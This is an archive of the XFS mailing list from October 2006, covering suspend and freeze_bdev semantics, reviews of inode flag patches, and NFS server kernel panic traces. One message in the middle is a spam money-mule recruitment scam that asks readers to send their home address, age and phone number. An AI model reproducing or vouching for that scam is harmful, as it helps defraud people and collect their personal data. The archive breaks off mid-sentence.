<1161576735.3466.7.camel@nigel.suspend2.net> <200610231236.54317.rjw@sisk.pl> <20061024144446.GD11034@melbourne.sgi.com> <200610241730.00488.rjw@sisk.pl> Organization: Palacky University in Olomouc, experimental physics department. Date: Tue, 24 Oct 2006 16:27:08 +0000 Message-ID: User-Agent: slrn/0.9.8.1pl1 (Debian) From: Oleg Verych X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23992 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9416 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: olecom@flower.upol.cz Precedence: bulk X-list: xfs Status: O On 2006-10-24, Rafael J. Wysocki wrote: > On Tuesday, 24 October 2006 16:44, David Chinner wrote: >> On Mon, Oct 23, 2006 at 12:36:53PM +0200, Rafael J. Wysocki wrote: >> > On Monday, 23 October 2006 06:12, Nigel Cunningham wrote: >> > > XFS can continue to submit I/O from a timer routine, even after >> > > freezeable kernel and userspace threads are frozen. This doesn't seem to >> > > be an issue for current swsusp code, >> > >> > So it doesn't look like we need the patch _now_. >> > >> > > but is definitely an issue for Suspend2, where the pages being written could >> > > be overwritten by Suspend2's atomic copy. >> > >> > And IMO that's a good reason why we shouldn't use RCU pages for storing the >> > image. XFS is one known example that breaks things if we do so and >> > there may be more such things that we don't know of. The fact that they >> > haven't appeared in testing so far doesn't mean they don't exist and >> > moreover some things like that may appear in the future. >> >> Could you please tell us which XFS bits are broken so we can get >> them fixed? The XFS daemons should all be checking if they are >> supposed to freeze (i.e. they call try_to_freeze() after they wake >> up due to timer expiry) so I thought they were doing the right >> thing. >> >> However, I have to say that I agree with freezing the filesystems >> before suspend - at least XFS will be in a consistent state that can >> be recovered from without corruption if your machine fails to >> resume.... > > Do you mean calling sys_sync() after the userspace has been frozen > may not be sufficient? Please see it's bottom of IMHO it's may be helpful. -o--=O`C #oo'L O <___=E M From owner-xfs@oss.sgi.com Tue Oct 24 11:07:49 2006 Received: with ECARTIS (v1.0.0; list xfs); Tue, 24 Oct 2006 11:08:04 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9OI7laG016000 for ; Tue, 24 Oct 2006 11:07:49 -0700 X-ASG-Debug-ID: 1161709599-5410-439-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from pentafluge.infradead.org (pentafluge.infradead.org [213.146.154.40]) by cuda.sgi.com (Spam Firewall) with ESMTP id 7EB2FD1A56FA; Tue, 24 Oct 2006 10:06:39 -0700 (PDT) Received: from hch by pentafluge.infradead.org with local (Exim 4.62 #1 (Red Hat Linux)) id 1GcPjV-0004uE-Dw; Tue, 24 Oct 2006 18:06:33 +0100 Date: Tue, 24 Oct 2006 18:06:33 +0100 From: Christoph Hellwig To: "Rafael J. Wysocki" Cc: David Chinner , Nigel Cunningham , Andrew Morton , LKML , Pavel Machek , xfs@oss.sgi.com X-ASG-Orig-Subj: Re: [PATCH] Freeze bdevs when freezing processes. Subject: Re: [PATCH] Freeze bdevs when freezing processes. Message-ID: <20061024170633.GA17956@infradead.org> Mail-Followup-To: Christoph Hellwig , "Rafael J. Wysocki" , David Chinner , Nigel Cunningham , Andrew Morton , LKML , Pavel Machek , xfs@oss.sgi.com References: <1161576735.3466.7.camel@nigel.suspend2.net> <200610231236.54317.rjw@sisk.pl> <20061024144446.GD11034@melbourne.sgi.com> <200610241730.00488.rjw@sisk.pl> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <200610241730.00488.rjw@sisk.pl> User-Agent: Mutt/1.4.2.1i X-SRS-Rewrite: SMTP reverse-path rewritten from by pentafluge.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23995 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9417 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: hch@infradead.org Precedence: bulk X-list: xfs Status: O On Tue, Oct 24, 2006 at 05:29:59PM +0200, Rafael J. Wysocki wrote: > Do you mean calling sys_sync() after the userspace has been frozen > may not be sufficient? No, that's definitly not enough. You need to freeze_bdev to make sure data is on disk in the place it's expected by the filesystem without starting a log recovery. From owner-xfs@oss.sgi.com Tue Oct 24 11:26:46 2006 Received: with ECARTIS (v1.0.0; list xfs); Tue, 24 Oct 2006 11:26:59 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9OIQiaG020723 for ; Tue, 24 Oct 2006 11:26:46 -0700 X-ASG-Debug-ID: 1161714360-14892-761-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from ext.agami.com (64.221.212.177.ptr.us.xo.net [64.221.212.177]) by cuda.sgi.com (Spam Firewall) with ESMTP id 14CC9D1A65B0 for ; Tue, 24 Oct 2006 11:26:00 -0700 (PDT) Received: from agami.com ([192.168.168.147]) by ext.agami.com (8.12.5/8.12.5) with ESMTP id k9OIPx2J004609 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 24 Oct 2006 11:25:59 -0700 Received: from mx1.agami.com (mx1.agami.com [10.123.10.30]) by agami.com (8.12.11/8.12.11) with ESMTP id k9OIPr2K012319 for ; Tue, 24 Oct 2006 11:25:53 -0700 Received: from [10.123.4.231] ([10.123.4.231]) by mx1.agami.com with Microsoft SMTPSVC(6.0.3790.1830); Tue, 24 Oct 2006 11:30:44 -0700 Message-ID: <453E5A0F.4070902@agami.com> Date: Tue, 24 Oct 2006 11:23:11 -0700 From: Shailendra Tripathi User-Agent: Thunderbird 1.5.0.7 (X11/20060909) MIME-Version: 1.0 To: David Chinner CC: xfs@oss.sgi.com, t-nagano@ah.jp.nec.com, xfs-dev@sgi.com X-ASG-Orig-Subj: Re: [REVIEW 3 of 4] Fix recalim handling in xfs_iget_core Subject: Re: [REVIEW 3 of 4] Fix recalim handling in xfs_iget_core References: <20061024072054.GT11034@melbourne.sgi.com> In-Reply-To: <20061024072054.GT11034@melbourne.sgi.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-OriginalArrivalTime: 24 Oct 2006 18:30:44.0421 (UTC) FILETIME=[845ADF50:01C6F79A] X-Scanned-By: MIMEDefang 2.36 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23999 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9418 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: stripathi@agami.com Precedence: bulk X-list: xfs Status: O Hi David, I can't really see why we need this test: if (xfs_iflags_test(ip, XFS_IRECLAIMABLE)) I think, An inode with no VP can be possibly in only 3 states (NEW, RECLAIM or RECLAIMABLE). This check is being made inside (inode_vp == NULL) check. If I am correct, may be we can omit an extra instruction here. It appears that you can see inode with XFS_ISTALE can potentially reach. I am not sure how it should reach that path. Following code just after this assumes that it must be in reclaimable path: XFS_MOUNT_ILOCK(mp); list_del_init(&ip->i_reclaim); XFS_MOUNT_IUNLOCK(mp); Regards, Shailendra David Chinner wrote: From owner-xfs@oss.sgi.com Tue Oct 24 11:36:22 2006 Received: with ECARTIS (v1.0.0; list xfs); Tue, 24 Oct 2006 11:36:36 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9OIaLaG022842 for ; Tue, 24 Oct 2006 11:36:22 -0700 X-ASG-Debug-ID: 1161709830-12155-541-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from web4.sitehostingserver.net (web4.sitehostingserver.net [65.254.51.18]) by cuda.sgi.com (Spam Firewall) with ESMTP id 4037A4CFBDF for ; Tue, 24 Oct 2006 10:10:30 -0700 (PDT) Received: from obuksto by web4.sitehostingserver.net with local (Exim 4.52) id 1GcPf1-0007ln-D2; Tue, 24 Oct 2006 13:01:55 -0400 Received: from 80.255.58.169 ([80.255.58.169]) (SquirrelMail authenticated user olumide@obukstommy.org) by 65.254.51.18 with HTTP; Tue, 24 Oct 2006 13:01:55 -0400 (EDT) Message-ID: <62732.80.255.58.169.1161709315.squirrel@65.254.51.18> Date: Tue, 24 Oct 2006 13:01:55 -0400 (EDT) X-ASG-Orig-Subj: ocean oil and gas offer Subject: ocean oil and gas offer From: "Ocean oil and gas ltd" Reply-To: oceanoilandgasltd@yahoo.com.hk User-Agent: SquirrelMail/1.4.6 MIME-Version: 1.0 Content-Type: text/plain;charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Priority: 3 (Normal) Importance: Normal X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - web4.sitehostingserver.net X-AntiAbuse: Original Domain - oss.sgi.com X-AntiAbuse: Originator/Caller UID/GID - [32592 1095] / [47 12] X-AntiAbuse: Sender Address Domain - gmail.com X-Source: X-Source-Args: X-Source-Dir: X-Barracuda-Spam-Score: 1.51 X-Barracuda-Spam-Status: No, SCORE=1.51 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=EARN_PER_WEEK, MISSING_HEADERS, TO_CC_NONE X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23994 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.19 MISSING_HEADERS Missing To: header 1.19 EARN_PER_WEEK BODY: Contains 'earn $something per week' 0.13 TO_CC_NONE No To: or Cc: header To: undisclosed-recipients:; X-archive-position: 9419 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: oceanoilandgascoltd@gmail.com Precedence: bulk X-list: xfs Status: O Hi, Good day, my name is Robert Mcleod (Recruiter, HR Department, OCEAN OIL AND GAS). After carefully reviewing your Resume through my resume search, I hereby wish to offer you a part-time position as a Cash / Service representative in our company. This position is designed for you to help us handle our cash, checks, money orders and other money transfer related transactions of our clients in Australia. Your job is to receive payments from our clients/customers. I would also like to let you know that this is a contract and commissions based part time position, therefore you will be entitled to a total of 10% commission on every transaction completed. I trust you understand that we can only offer you a part-time position at this time, and that the terms and condition of payments would be on commission only. Keep in mind that this part-time position could lead to a full time employment at OCEAN OIL AND GAS in the future. More importantly, no experience is required for this position, therefore everyone will be considered. Information and instructions will be provided to you on how to complete your job. This information will include your responsibilities on how to handle the funds. With this part-time position, you are guaranteed to earn at least up to $500 USD per week. Nevertheless, you can also maximize your pay or commissions, if you are efficient and make a timely delivery to us. I advise that you put this into consideration. Additionally, this is a part-time job that involves a lot of trust and honesty; you will be dealing with cash, checks, money orders and wire/bank transfers from our clients in the your region. Lastly, there is no office for this position; meaning that you do not have to report to anyone on e or office. This is a job that can easily be completed right from your home and at your own convenient time. This job is designed not to affect your present job or employment, nor will it bring about any form of stress onto you. If you would like to be considered for this part time position, please complete the following information listed below. Keep in mind that this offer is for a limited time only. For more information about our company, please visit us at www.oceanoil.com FIRST NAME……………… LAST NAME……………………………… HOME ADDRESS (NOT P.O. BOX) ……………………………………. CITY……………………….. STATE / PROVINCE …………………….. COUNTRY…………………………….... PHONE NUMBER (S) …………………………………… AGE………………………… ALL REPLIES TO BE SENT TO : oceanoilandgasltd@yahoo.com.hk In any events, rest assured that I wish you the best. Thank you for your time and kindest attention. I remain Very truly yours, Robert Mcleod Recruiter (HR DEPT.) OCEAN OIL AND GAS +447024029860 From owner-xfs@oss.sgi.com Tue Oct 24 12:03:57 2006 Received: with ECARTIS (v1.0.0; list xfs); Tue, 24 Oct 2006 12:04:04 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9OJ3uaG029322 for ; Tue, 24 Oct 2006 12:03:57 -0700 X-ASG-Debug-ID: 1161716591-6953-706-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from postal1.et.byu.edu (postal1.et.byu.edu [128.187.48.11]) by cuda.sgi.com (Spam Firewall) with ESMTP id 379AB4D25F0 for ; Tue, 24 Oct 2006 12:03:12 -0700 (PDT) Received: from localhost (localhost [127.0.0.1]) by postal1.et.byu.edu (Postfix) with ESMTP id 4BFB951C4A for ; Tue, 24 Oct 2006 13:03:07 -0600 (MDT) Received: from postal1.et.byu.edu ([127.0.0.1]) by localhost (postal1.et.byu.edu [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 30592-07 for ; Tue, 24 Oct 2006 13:03:06 -0600 (MDT) Received: from lewis.et.byu.edu (lewis.et.byu.edu [10.5.113.201]) by postal1.et.byu.edu (Postfix) with ESMTP id C354851C15 for ; Tue, 24 Oct 2006 13:03:06 -0600 (MDT) Date: Tue, 24 Oct 2006 13:03:06 -0600 (MDT) From: David Dougall To: xfs@oss.sgi.com X-ASG-Orig-Subj: Re: kernel panic after upgrading to 2.6 Subject: Re: kernel panic after upgrading to 2.6 In-Reply-To: Message-ID: References: <453E494F.8080808@sandeen.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.24001 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9420 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: davidd@et.byu.edu Precedence: bulk X-list: xfs Status: O Here is another kernel panic this morning on another server. I can't even tell if they are related at all. --David Dougall Oct 24 12:00:51 nfs08 kernel: Filesystem "dm-0": XFS internal error xfs_trans_ca ncel at line 1138 of file fs/xfs/xfs_trans.c. Caller 0xc026030c Oct 24 12:00:51 nfs08 kernel: [] xfs_trans_cancel+0xf1/0x112 Oct 24 12:00:51 nfs08 kernel: [] xfs_iomap_write_allocate+0x417/0x56b Oct 24 12:00:51 nfs08 kernel: [] xfs_iomap_write_allocate+0x417/0x56b Oct 24 12:00:51 nfs08 kernel: [] xfs_iomap+0x616/0x835 Oct 24 12:00:51 nfs08 kernel: [] xfs_map_blocks+0x39/0x50 Oct 24 12:00:51 nfs08 kernel: [] xfs_page_state_convert+0x5ed/0xee1 Oct 24 12:00:51 nfs08 kernel: [] __do_softirq+0x3e/0x86 Oct 24 12:00:51 nfs08 kernel: [] xfs_vm_writepage+0x57/0xdd Oct 24 12:00:51 nfs08 kernel: [] xfs_vm_writepage+0x0/0xdd Oct 24 12:00:51 nfs08 kernel: [] mpage_writepages+0x212/0x3c1 Oct 24 12:00:51 nfs08 kernel: [] dst_output+0x0/0x7 Oct 24 12:00:51 nfs08 kernel: [] xfs_vm_writepage+0x0/0xdd Oct 24 12:00:51 nfs08 kernel: [] do_writepages+0x23/0x3b Oct 24 12:00:51 nfs08 kernel: [] __filemap_fdatawrite_range+0x66/0x72 Oct 24 12:00:51 nfs08 kernel: [] filemap_fdatawrite+0x23/0x27 Oct 24 12:00:51 nfs08 kernel: [] nfsd_sync+0x3e/0x96 Oct 24 12:00:51 nfs08 kernel: [] nfsd_open+0x117/0x15d Oct 24 12:00:51 nfs08 kernel: [] nfsd_commit+0x80/0xb7 Oct 24 12:00:51 nfs08 kernel: [] nfs3svc_decode_commitargs+0x0/0xc1 Oct 24 12:00:51 nfs08 kernel: [] nfsd3_proc_commit+0xde/0xf7 Oct 24 12:00:51 nfs08 kernel: [] nfs3svc_decode_commitargs+0x0/0xc1 Oct 24 12:00:51 nfs08 kernel: [] nfsd_dispatch+0x76/0x1b7 Oct 24 12:00:51 nfs08 kernel: [] svc_process+0x3d5/0x68e Oct 24 12:00:51 nfs08 kernel: [] svc_recv+0x22b/0x47f Oct 24 12:00:51 nfs08 kernel: [] nfsd+0x17a/0x304 Oct 24 12:00:51 nfs08 kernel: [] work_resched+0x5/0x16 Oct 24 12:00:51 nfs08 kernel: [] nfsd+0x0/0x304 Oct 24 12:00:51 nfs08 kernel: [] kernel_thread_helper+0x5/0xb Oct 24 12:00:51 nfs08 kernel: xfs_force_shutdown(dm-0,0x8) called from line 1139 of file fs/xfs/xfs_trans.c. Return address = 0xc02854d0 Oct 24 12:00:51 nfs08 kernel: Filesystem "dm-0": Corruption of in-memory data de tected. Shutting down filesystem: dm-0 Oct 24 12:00:51 nfs08 kernel: Please umount the filesystem, and rectify the prob lem(s) Oct 24 12:00:52 nfs08 kernel: BUG: unable to handle kernel NULL pointer derefere nce at virtual address 0000030c Oct 24 12:00:52 nfs08 kernel: printing eip: Oct 24 12:01:55 nfs08 kernel: c026e723 Oct 24 12:03:49 nfs08 syslogd 1.4.1#18: restart. On Tue, 24 Oct 2006, David Dougall wrote: > I actually did see that bug report. That is why I have tried upgrading > now a few times. I have run xfs_repair on all of my file systems since > upgrading this past time and I still get kernel panics. I already have > 2.8.10 as far as I can tell. 2.8.10-1 on debian. > --David Dougall > > > On Tue, 24 Oct 2006, Eric Sandeen wrote: > > > David Dougall wrote: > > > I am running kernel 2.6.18 after trying 2.6.17.6 and 2.6.17.13 with > > > similar results. I continue to have nfs servers kernel panic on a very > > > regular basis, every few days. Sometimes I need to do an xfs_repair to > > > get the filesystem to remount. I got the following kernel panic message > > > from the syslog this time: > > > Message from syslogd@nfs09 at Tue Oct 24 09:35:14 2006 ... > > > nfs09 kernel: Oops: 0000 [#1] > > > > If you ran 2.6.17 < 2.6.17.7, there was a bug: > > > > http://oss.sgi.com/projects/xfs/faq.html#dir2 > > > > I would suggest getting xfsprogs v. 2.8.10 or newer, as referenced in > > the faq, repair your filesystem, and see if the problem is resolved. > > > > -Eric > > > > > > > From owner-xfs@oss.sgi.com Tue Oct 24 14:34:35 2006 Received: with ECARTIS (v1.0.0; list xfs); Tue, 24 Oct 2006 14:34:45 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9OLYXaG002036 for ; Tue, 24 Oct 2006 14:34:34 -0700 X-ASG-Debug-ID: 1161725626-21913-735-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from pentafluge.infradead.org (pentafluge.infradead.org [213.146.154.40]) by cuda.sgi.com (Spam Firewall) with ESMTP id 574FFD1A600C; Tue, 24 Oct 2006 14:33:46 -0700 (PDT) Received: from hch by pentafluge.infradead.org with local (Exim 4.62 #1 (Red Hat Linux)) id 1GcTu2-00064V-J6; Tue, 24 Oct 2006 22:33:42 +0100 Date: Tue, 24 Oct 2006 22:33:42 +0100 From: Christoph Hellwig To: Pavel Machek Cc: Christoph Hellwig , "Rafael J. Wysocki" , David Chinner , Nigel Cunningham , Andrew Morton , LKML , xfs@oss.sgi.com X-ASG-Orig-Subj: Re: [PATCH] Freeze bdevs when freezing processes. Subject: Re: [PATCH] Freeze bdevs when freezing processes. Message-ID: <20061024213342.GA22552@infradead.org> Mail-Followup-To: Christoph Hellwig , Pavel Machek , "Rafael J. Wysocki" , David Chinner , Nigel Cunningham , Andrew Morton , LKML , xfs@oss.sgi.com References: <1161576735.3466.7.camel@nigel.suspend2.net> <200610231236.54317.rjw@sisk.pl> <20061024144446.GD11034@melbourne.sgi.com> <200610241730.00488.rjw@sisk.pl> <20061024170633.GA17956@infradead.org> <20061024212648.GB5662@elf.ucw.cz> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20061024212648.GB5662@elf.ucw.cz> User-Agent: Mutt/1.4.2.1i X-SRS-Rewrite: SMTP reverse-path rewritten from by pentafluge.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.24011 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9421 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: hch@infradead.org Precedence: bulk X-list: xfs Status: O On Tue, Oct 24, 2006 at 11:26:48PM +0200, Pavel Machek wrote: > > No, that's definitly not enough. You need to freeze_bdev to make sure > > data is on disk in the place it's expected by the filesystem without > > starting a log recovery. > > I believe log recovery is okay in this case. > > It can only happen when kernel dies during suspend or during > resume... And log recovery seems okay in that case. We even guarantee > that user did not loose any data -- by using sys_sync() after userland > is stopped -- but let's not overdo over protections. You're still entirely missing the problem. Take a look at http://www.opengroup.org/onlinepubs/007908799/xsh/sync.html and the linux sync(2) manpage. The only thing sync guarantees is writing out all in-memory data to disk. It doesn't even gurantee completion, although we've been synchronous in Linux for a while. What it does not gurantee is where on disk the data is located. Now for a journaling filesystem pushing everything to the log is the easiest way to complete sync, and it's perfectly valid - if the system crashes after the sync and before data is written back to it's normal place on disk the system notices it's not been unmounted cleanly and will do a log recovery. In the suspend case however the system neither crashes nor is unmounted - thus the filesystem doesn't know it has to recover the log. We have to choices to fix this: (1) force a log recovery of an already mounted and in use filesystem (2) make sure data is in the right place before suspending (1) is pretty nasty, and hard to do across filesystems. (2) is already implemented and easily useable by the suspend code. From owner-xfs@oss.sgi.com Tue Oct 24 14:39:31 2006 Received: with ECARTIS (v1.0.0; list xfs); Tue, 24 Oct 2006 14:39:41 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9OLdTaG003414 for ; Tue, 24 Oct 2006 14:39:30 -0700 X-ASG-Debug-ID: 1161725925-21901-946-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from pentafluge.infradead.org (pentafluge.infradead.org [213.146.154.40]) by cuda.sgi.com (Spam Firewall) with ESMTP id C2B63D1AA4FC for ; Tue, 24 Oct 2006 14:38:45 -0700 (PDT) Received: from hch by pentafluge.infradead.org with local (Exim 4.62 #1 (Red Hat Linux)) id 1GcTyY-0006Eo-Kq; Tue, 24 Oct 2006 22:38:22 +0100 Date: Tue, 24 Oct 2006 22:38:22 +0100 From: Christoph Hellwig To: David Chinner Cc: xfs@oss.sgi.com, t-nagano@ah.jp.nec.com, xfs-dev@sgi.com X-ASG-Orig-Subj: Re: [REVIEW 1 of 4] Clean up i_flags handling Subject: Re: [REVIEW 1 of 4] Clean up i_flags handling Message-ID: <20061024213822.GA23909@infradead.org> References: <20061024071723.GR11034@melbourne.sgi.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20061024071723.GR11034@melbourne.sgi.com> User-Agent: Mutt/1.4.2.1i X-SRS-Rewrite: SMTP reverse-path rewritten from by pentafluge.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.24011 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9422 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: hch@infradead.org Precedence: bulk X-list: xfs Status: O > +/* > + * i_flags helper functions > + */ > +static inline void > +__xfs_iflags_set(xfs_inode_t *ip, unsigned short flags) > +{ > + ip->i_flags |= flags; > +} > + > +static inline void > +xfs_iflags_set(xfs_inode_t *ip, unsigned short flags) > +{ > + spin_lock(&ip->i_flags_lock); > + __xfs_iflags_set(ip, flags); > + spin_unlock(&ip->i_flags_lock); > +} This is not actually > + > +static inline void > +xfs_iflags_clear(xfs_inode_t *ip, unsigned short flags) > +{ > + spin_lock(&ip->i_flags_lock); > + ip->i_flags &= ~flags; > + spin_unlock(&ip->i_flags_lock); > +} > + > +static inline int > +__xfs_iflags_test(xfs_inode_t *ip, unsigned short flags) > +{ > + return (ip->i_flags & flags); > +} > + > +static inline int > +xfs_iflags_test(xfs_inode_t *ip, unsigned short flags) > +{ > + int ret; > + spin_lock(&ip->i_flags_lock); > + ret = __xfs_iflags_test(ip, flags); > + spin_unlock(&ip->i_flags_lock); > + return ret; This is not actually guaranteed to work on machiens with very weak memory ordering. Please use the *_bit routines from bitops.h instead. From owner-xfs@oss.sgi.com Tue Oct 24 15:21:55 2006 Received: with ECARTIS (v1.0.0; list xfs); Tue, 24 Oct 2006 15:22:07 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9OMLsaG012448 for ; Tue, 24 Oct 2006 15:21:55 -0700 X-ASG-Debug-ID: 1161728288-28042-0-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from ext.agami.com (64.221.212.177.ptr.us.xo.net [64.221.212.177]) by cuda.sgi.com (Spam Firewall) with ESMTP id 14611469A3C for ; Tue, 24 Oct 2006 15:18:09 -0700 (PDT) Received: from agami.com ([192.168.168.147]) by ext.agami.com (8.12.5/8.12.5) with ESMTP id k9OMHp2J007607 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 24 Oct 2006 15:17:51 -0700 Received: from mx1.agami.com (mx1.agami.com [10.123.10.30]) by agami.com (8.12.11/8.12.11) with ESMTP id k9OMHjeR017237 for ; Tue, 24 Oct 2006 15:17:45 -0700 Received: from [10.123.4.231] ([10.123.4.231]) by mx1.agami.com with Microsoft SMTPSVC(6.0.3790.1830); Tue, 24 Oct 2006 15:22:38 -0700 Message-ID: <453E9067.1010107@agami.com> Date: Tue, 24 Oct 2006 15:15:03 -0700 From: Shailendra Tripathi User-Agent: Thunderbird 1.5.0.7 (X11/20060909) MIME-Version: 1.0 To: Christoph Hellwig CC: David Chinner , xfs@oss.sgi.com, t-nagano@ah.jp.nec.com, xfs-dev@sgi.com X-ASG-Orig-Subj: Re: [REVIEW 1 of 4] Clean up i_flags handling Subject: Re: [REVIEW 1 of 4] Clean up i_flags handling References: <20061024071723.GR11034@melbourne.sgi.com> <20061024213822.GA23909@infradead.org> In-Reply-To: <20061024213822.GA23909@infradead.org> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-OriginalArrivalTime: 24 Oct 2006 22:22:38.0234 (UTC) FILETIME=[E9A23FA0:01C6F7BA] X-Scanned-By: MIMEDefang 2.36 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.24017 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9423 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: stripathi@agami.com Precedence: bulk X-list: xfs Status: O Christoph Hellwig wrote: >> +/* >> + * i_flags helper functions >> + */ >> +static inline void >> +__xfs_iflags_set(xfs_inode_t *ip, unsigned short flags) >> +{ >> + ip->i_flags |= flags; >> +} >> + >> +static inline void >> +xfs_iflags_set(xfs_inode_t *ip, unsigned short flags) >> +{ >> + spin_lock(&ip->i_flags_lock); >> + __xfs_iflags_set(ip, flags); >> + spin_unlock(&ip->i_flags_lock); >> +} >> > > This is not actually > > >> + >> +static inline void >> +xfs_iflags_clear(xfs_inode_t *ip, unsigned short flags) >> +{ >> + spin_lock(&ip->i_flags_lock); >> + ip->i_flags &= ~flags; >> + spin_unlock(&ip->i_flags_lock); >> +} >> + >> +static inline int >> +__xfs_iflags_test(xfs_inode_t *ip, unsigned short flags) >> +{ >> + return (ip->i_flags & flags); >> +} >> + >> +static inline int >> +xfs_iflags_test(xfs_inode_t *ip, unsigned short flags) >> +{ >> + int ret; >> + spin_lock(&ip->i_flags_lock); >> + ret = __xfs_iflags_test(ip, flags); >> + spin_unlock(&ip->i_flags_lock); >> + return ret; >> > > This is not actually guaranteed to work on machiens with very weak > memory ordering. Please use the *_bit routines from bitops.h instead. > > Isn't true that UNLOCK and LOCK in the given order imply full barrier Chris ? As the flag is modified only within the lock/unlock pair, if 